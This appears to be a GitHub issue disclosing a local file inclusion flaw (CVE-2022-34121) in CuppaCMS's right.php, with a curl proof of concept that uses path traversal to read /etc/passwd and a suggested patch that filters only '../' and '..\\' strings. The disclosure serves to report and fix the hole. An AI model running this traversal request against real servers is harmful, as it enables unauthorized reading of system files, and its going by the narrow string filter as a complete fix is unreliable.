Non-authenticated Local File Inclusion vulnerability in CuppaCMS templates

[hansmach1ne]

Cuppa CMS suffers from local file inclusion vulnerability in '/templates/default/html/windows/right.php' script using $_POST['url'] parameter.

Using the following exploit it is possible to include arbitrary server file:
curl -X POST "http://IP/cuppa/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../etc/passwd"

PoC:

Possible solution: $_POST['url'] should be sanitized against truncation (../ or ..\ , etc...).

Disclosure date: 6th January, 2022

[hansmach1ne]

@tufik2 This vulnerability has pretty high severity and should be fixed ASAP.

In '/templates/default/html/windows/right.php' script, line 53 my suggestion is to add the following:

$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
echo "Security attack!";
exit;
}
include realpath(DIR . '/../../../..')."/".$url;

Looking forward to your response.

[hansmach1ne]

CVE-2022-34121 is assigned to this vulnerability.